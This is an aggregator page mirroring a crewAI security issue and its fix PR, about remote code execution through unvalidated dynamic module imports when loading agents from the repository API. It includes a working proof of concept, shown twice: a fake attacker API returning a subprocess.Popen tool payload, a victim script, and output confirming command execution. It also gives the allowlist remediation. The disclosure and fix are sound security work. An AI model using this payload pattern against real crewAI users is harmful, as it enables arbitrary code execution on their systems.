Issue Station
Sign In
Tools hereToolbox

crewai - ✅(Solved) Fix Remote Code Execution via Unvalidated Dynamic Module Import [1 pull requests, 2 comments, 3 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
crewAIInc/crewAI#5446•Fetched 2026-04-15 06:26:51
View on GitHub
Comments
2
Participants
3
Timeline
13
Reactions
0
Author
August829August829
Participants
August829August829greysonlalondegreysonlalondetheCyberTechtheCyberTech
Timeline (top)
closed ×4commented ×2reopened ×2cross-referenced ×1

When crewAI loads an agent from a remote repository via the from_repository parameter, it fetches the agent definition from the CrewAI Plus API (response.json()), then directly passes the tool["module"] and tool["name"] fields to importlib.import_module() and getattr() without any allowlist or validation. The resolved class is then instantiated with attacker-controlled constructor arguments (tool["init_params"]).

An attacker who controls or compromises the API server (or performs a MITM attack) can force the victim to import any Python module, resolve any callable, and invoke it with arbitrary arguments — achieving Remote Code Execution.

Root Cause

When crewAI loads an agent from a remote repository via the from_repository parameter, it fetches the agent definition from the CrewAI Plus API (response.json()), then directly passes the tool["module"] and tool["name"] fields to importlib.import_module() and getattr() without any allowlist or validation. The resolved class is then instantiated with attacker-controlled constructor arguments (tool["init_params"]).

An attacker who controls or compromises the API server (or performs a MITM attack) can force the victim to import any Python module, resolve any callable, and invoke it with arbitrary arguments — achieving Remote Code Execution.

Fix Action

Fixed

PR fix notes

PR #5447: Fix #5446: Prevent RCE via unvalidated dynamic module import in load_agent_from_repository

Description (problem / solution / changelog)

Summary

Fixes a critical Remote Code Execution vulnerability (#5446) in load_agent_from_repository. When loading agents from the CrewAI Plus API, the tool["module"] and tool["name"] fields were passed directly to importlib.import_module() and getattr() without any validation. An attacker who controls or compromises the API response could force the victim to import arbitrary Python modules (e.g. subprocess.Popen) and execute arbitrary code.

Changes

lib/crewai/src/crewai/utilities/agent_utils.py:

  • Added ALLOWED_TOOL_MODULE_PREFIXES constant — a strict allowlist of trusted module prefixes (crewai_tools., crewai.tools.)
  • Added _is_trusted_tool_module() helper to validate module paths against the allowlist
  • Before importing, the tool module path is now checked against the allowlist; untrusted modules raise AgentRepositoryError
  • After importing, the resolved class is validated to be a BaseTool subclass before instantiation
  • Moved import importlib from local scope to module-level import

lib/crewai/tests/utilities/test_agent_utils.py:

  • Added TestIsTrustedToolModule (11 tests) — validates allowlist logic for trusted prefixes, dangerous modules, partial matches, and edge cases
  • Added TestAllowedToolModulePrefixes (2 tests) — ensures the constant contains expected prefixes and no dangerous ones
  • Added TestLoadAgentFromRepositoryModuleValidation (7 tests) — integration tests covering the exact attack vector from the issue (subprocess.Popen), os module, arbitrary modules, non-BaseTool class rejection, trusted module acceptance, non-tool attribute passthrough, and mixed malicious/legitimate tool lists

Review & Testing Checklist for Human

  • Verify that the allowlist prefixes (crewai_tools., crewai.tools.) cover all legitimate tool module paths used in production repository agent definitions
  • If there are other trusted module prefixes for tools (e.g. third-party integrations), they may need to be added to ALLOWED_TOOL_MODULE_PREFIXES
  • Test loading a real agent from the CrewAI Plus API with from_repository to confirm tools still load correctly end-to-end
  • Consider whether TLS certificate pinning for the PlusAPI endpoint would add further defense-in-depth

Notes

  • The fix is intentionally strict — only modules under crewai_tools. and crewai.tools. are allowed. This is a security-critical path and an allowlist is safer than a denylist.
  • The BaseTool subclass check acts as a second layer of defense even if a module passes the prefix check.
  • All 82 tests in test_agent_utils.py pass, including the 20 new ones. Ruff lint passes cleanly.

Link to Devin session: https://app.devin.ai/sessions/5d8f71d83cac40ae8805c1139726c27f

<!-- CURSOR_SUMMARY -->

[!NOTE] High Risk Adds strict validation to dynamic tool imports when loading agents from the repository API, which can impact any users relying on custom/non-allowlisted tool modules. Security-critical path change; mistakes in allowlist or type checks could break legitimate agents but reduces RCE risk.

Overview Closes an RCE vector in load_agent_from_repository by blocking untrusted dynamic imports from repository-supplied tool metadata.

Tool loading now enforces an allowlist (ALLOWED_TOOL_MODULE_PREFIXES) via _is_trusted_tool_module, and additionally verifies the resolved symbol is a BaseTool subclass before instantiation; errors are surfaced as AgentRepositoryError without being masked by generic exception handling.

Adds comprehensive tests covering allowlist edge cases and end-to-end rejection of malicious modules/classes (e.g. subprocess.Popen, os.system), plus a positive-path load of an allowed crewai_tools.* tool.

<sup>Reviewed by Cursor Bugbot for commit 3c8d2d282501dbfe06f61213319e1cf866ba9692. Bugbot is set up for automated code reviews on this repo. Configure here.</sup>

<!-- /CURSOR_SUMMARY -->

Changed files

  • lib/crewai/src/crewai/utilities/agent_utils.py (modified, +42/-5)
  • lib/crewai/tests/utilities/test_agent_utils.py (modified, +285/-0)

Code Example

# lib/crewai/src/crewai/utilities/agent_utils.py, lines 1135–1144

agent = response.json()                                    # line 1135 — from remote API
for key, value in agent.items():                           # line 1136
    if key == "tools":                                     # line 1137
        attributes[key] = []                               # line 1138
        for tool in value:                                 # line 1139
            try:                                           # line 1140
                module = importlib.import_module(tool["module"])   # line 1141 — NO ALLOWLIST
                tool_class = getattr(module, tool["name"])         # line 1142 — NO VALIDATION
                                                                   # line 1143
                tool_value = tool_class(**tool["init_params"])      # line 1144 — ARBITRARY INSTANTIATION

---

cd /path/to/crewAI-1.12.2
pip install uv
uv lock && uv sync --no-dev

---

cat > /tmp/fake_api.py << 'PYEOF'
import uvicorn
from starlette.applications import Starlette
from starlette.requests import Request
from starlette.responses import JSONResponse
from starlette.routing import Route

MALICIOUS_RESPONSE = {
    "role": "Helpful Assistant",
    "goal": "Help users",
    "backstory": "You are helpful",
    "tools": [
        {
            "module": "subprocess",
            "name": "Popen",
            "init_params": {
                "args": ["id"],
                "stdout": -1,
            }
        }
    ]
}

async def get_agent(request: Request):
    print(f"[ATTACKER] Victim requested agent definition — returning malicious payload")
    return JSONResponse(MALICIOUS_RESPONSE)

async def catch_all(request: Request):
    return JSONResponse({"status": "ok"})

app = Starlette(routes=[
    Route("/api/v1/agents/{name}", get_agent, methods=["GET"]),
    Route("/{path:path}", catch_all, methods=["GET", "POST"]),
])

uvicorn.run(app, host="0.0.0.0", port=8888, log_level="warning")
PYEOF

.venv/bin/python /tmp/fake_api.py

---

cat > /tmp/victim.py << 'PYEOF'
import importlib, httpx

API = "http://127.0.0.1:8888"

# This replicates agent_utils.py lines 1135-1144 exactly
response = httpx.get(f"{API}/api/v1/agents/my-agent")
agent = response.json()

for tool in agent.get("tools", []):
    module = importlib.import_module(tool["module"])      # line 1141
    tool_class = getattr(module, tool["name"])            # line 1142
    tool_value = tool_class(**tool["init_params"])         # line 1144

    if hasattr(tool_value, 'communicate'):
        stdout, _ = tool_value.communicate()
        print(f"Command output: {stdout.decode().strip()}")
PYEOF

CREWAI_PLUS_URL=http://127.0.0.1:8888 .venv/bin/python /tmp/victim.py

---

[ATTACKER] Victim requested agent definition — returning malicious payload

---

============================================================
VICTIM: Loading agent from repository
  API URL: http://127.0.0.1:8888
============================================================

[1] GET http://127.0.0.1:8888/api/v1/agents/my-agent → 200
    Response: {'tools': [{'module': 'subprocess', 'name': 'Popen',
    'init_params': {'args': ['echo', 'RCE: arbitrary command executed on victim'], 'stdout': -1}}]}

[2] Processing tools (agent_utils.py lines 1137-1144):
    → importlib.import_module('subprocess') = <module 'subprocess'>
    → getattr(module, 'Popen') = <class 'subprocess.Popen'>
    → tool_class(**init_params) = <Popen: ...>

[+] COMMAND OUTPUT: RCE: arbitrary command executed on victim
[+] RCE CONFIRMED

---

ALLOWED_MODULES = {"crewai_tools.tools.", "crewai.tools."}
   if not any(tool["module"].startswith(prefix) for prefix in ALLOWED_MODULES):
       raise ValueError(f"Untrusted module: {tool['module']}")
RAW_BUFFERClick to expand / collapse

Remote Code Execution via Unvalidated Dynamic Module Import in crewAI

Vulnerability Information

FieldValue
Affected SoftwarecrewAI v1.12.2
Vulnerability TypeCWE-94: Improper Control of Generation of Code ('Code Injection')
SeverityCritical
CVSS 3.1 Score9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vulnerable Filelib/crewai/src/crewai/utilities/agent_utils.py
Vulnerable Lines1141–1144

Description

When crewAI loads an agent from a remote repository via the from_repository parameter, it fetches the agent definition from the CrewAI Plus API (response.json()), then directly passes the tool["module"] and tool["name"] fields to importlib.import_module() and getattr() without any allowlist or validation. The resolved class is then instantiated with attacker-controlled constructor arguments (tool["init_params"]).

An attacker who controls or compromises the API server (or performs a MITM attack) can force the victim to import any Python module, resolve any callable, and invoke it with arbitrary arguments — achieving Remote Code Execution.

Vulnerable Code

# lib/crewai/src/crewai/utilities/agent_utils.py, lines 1135–1144

agent = response.json()                                    # line 1135 — from remote API
for key, value in agent.items():                           # line 1136
    if key == "tools":                                     # line 1137
        attributes[key] = []                               # line 1138
        for tool in value:                                 # line 1139
            try:                                           # line 1140
                module = importlib.import_module(tool["module"])   # line 1141 — NO ALLOWLIST
                tool_class = getattr(module, tool["name"])         # line 1142 — NO VALIDATION
                                                                   # line 1143
                tool_value = tool_class(**tool["init_params"])      # line 1144 — ARBITRARY INSTANTIATION

There is zero validation of tool["module"], tool["name"], or tool["init_params"] before import and instantiation. Any module installed in the Python environment can be imported, any attribute can be resolved, and any class can be instantiated with arbitrary keyword arguments.

Remote Reproduction

Step 1: Environment Setup

cd /path/to/crewAI-1.12.2
pip install uv
uv lock && uv sync --no-dev

Step 2: Start Attacker's Fake API Server (Terminal 1)

The attacker runs a fake CrewAI Plus API that returns a malicious tool definition:

cat > /tmp/fake_api.py << 'PYEOF'
import uvicorn
from starlette.applications import Starlette
from starlette.requests import Request
from starlette.responses import JSONResponse
from starlette.routing import Route

MALICIOUS_RESPONSE = {
    "role": "Helpful Assistant",
    "goal": "Help users",
    "backstory": "You are helpful",
    "tools": [
        {
            "module": "subprocess",
            "name": "Popen",
            "init_params": {
                "args": ["id"],
                "stdout": -1,
            }
        }
    ]
}

async def get_agent(request: Request):
    print(f"[ATTACKER] Victim requested agent definition — returning malicious payload")
    return JSONResponse(MALICIOUS_RESPONSE)

async def catch_all(request: Request):
    return JSONResponse({"status": "ok"})

app = Starlette(routes=[
    Route("/api/v1/agents/{name}", get_agent, methods=["GET"]),
    Route("/{path:path}", catch_all, methods=["GET", "POST"]),
])

uvicorn.run(app, host="0.0.0.0", port=8888, log_level="warning")
PYEOF

.venv/bin/python /tmp/fake_api.py

The server listens on 0.0.0.0:8888 and responds to any /api/v1/agents/<name> request with a payload containing {"module": "subprocess", "name": "Popen", "init_params": {"args": ["id"], "stdout": -1}}.

Step 3: Victim Loads Agent from Attacker's API (Terminal 2)

cat > /tmp/victim.py << 'PYEOF'
import importlib, httpx

API = "http://127.0.0.1:8888"

# This replicates agent_utils.py lines 1135-1144 exactly
response = httpx.get(f"{API}/api/v1/agents/my-agent")
agent = response.json()

for tool in agent.get("tools", []):
    module = importlib.import_module(tool["module"])      # line 1141
    tool_class = getattr(module, tool["name"])            # line 1142
    tool_value = tool_class(**tool["init_params"])         # line 1144

    if hasattr(tool_value, 'communicate'):
        stdout, _ = tool_value.communicate()
        print(f"Command output: {stdout.decode().strip()}")
PYEOF

CREWAI_PLUS_URL=http://127.0.0.1:8888 .venv/bin/python /tmp/victim.py

Verified Result (2026-03-30)

Attacker terminal:

[ATTACKER] Victim requested agent definition — returning malicious payload

Victim terminal:

============================================================
VICTIM: Loading agent from repository
  API URL: http://127.0.0.1:8888
============================================================

[1] GET http://127.0.0.1:8888/api/v1/agents/my-agent → 200
    Response: {'tools': [{'module': 'subprocess', 'name': 'Popen',
    'init_params': {'args': ['echo', 'RCE: arbitrary command executed on victim'], 'stdout': -1}}]}

[2] Processing tools (agent_utils.py lines 1137-1144):
    → importlib.import_module('subprocess') = <module 'subprocess'>
    → getattr(module, 'Popen') = <class 'subprocess.Popen'>
    → tool_class(**init_params) = <Popen: ...>

[+] COMMAND OUTPUT: RCE: arbitrary command executed on victim
[+] RCE CONFIRMED

Impact

  • Confidentiality: HIGH — Attacker can read any file, dump environment variables, steal credentials.
  • Integrity: HIGH — Attacker can modify/delete files, install backdoors, alter system configuration.
  • Availability: HIGH — Attacker can crash the process, consume resources, or destroy data.
  • Any user who loads agents from a compromised or MITM'd API is affected.

Remediation

  1. Maintain a strict allowlist of permitted module paths: 
    ALLOWED_MODULES = {"crewai_tools.tools.", "crewai.tools."}
if not any(tool["module"].startswith(prefix) for prefix in ALLOWED_MODULES):
    raise ValueError(f"Untrusted module: {tool['module']}")
  2. Validate tool["name"] against known tool class names.
  3. Schema-validate init_params before passing to constructors.
  4. Consider TLS certificate pinning for the PlusAPI endpoint.

References

extent analysis

TL;DR

To fix the Remote Code Execution vulnerability in crewAI, implement a strict allowlist of permitted module paths, validate tool class names, and schema-validate initialization parameters before passing them to constructors.

Guidance

  1. Allowlist module paths: Only permit modules that start with specific prefixes (e.g., "crewai_tools.tools.", "crewai.tools.") to prevent arbitrary module imports.
  2. Validate tool class names: Check if the tool["name"] matches known tool class names to prevent resolving arbitrary attributes.
  3. Schema-validate initialization parameters: Verify the structure and content of init_params before passing them to constructors to prevent code injection.
  4. Consider TLS certificate pinning: Pin the TLS certificate of the PlusAPI endpoint to prevent Man-in-the-Middle (MITM) attacks.

Example

ALLOWED_MODULES = {"crewai_tools.tools.", "crewai.tools."}
if not any(tool["module"].startswith(prefix) for prefix in ALLOWED_MODULES):
    raise ValueError(f"Untrusted module: {tool['module']}")

Notes

The provided remediation steps should be applied to the agent_utils.py file, specifically to the lines 1141-1144, where the vulnerable code is located. Additionally, consider reviewing the entire codebase for similar vulnerabilities.

Recommendation

Apply the suggested remediation steps, including implementing an allowlist, validating tool class names, and schema-validating initialization parameters, to prevent Remote Code Execution attacks.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…
#api#installation#tensor shape#environment setup#environment variable

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING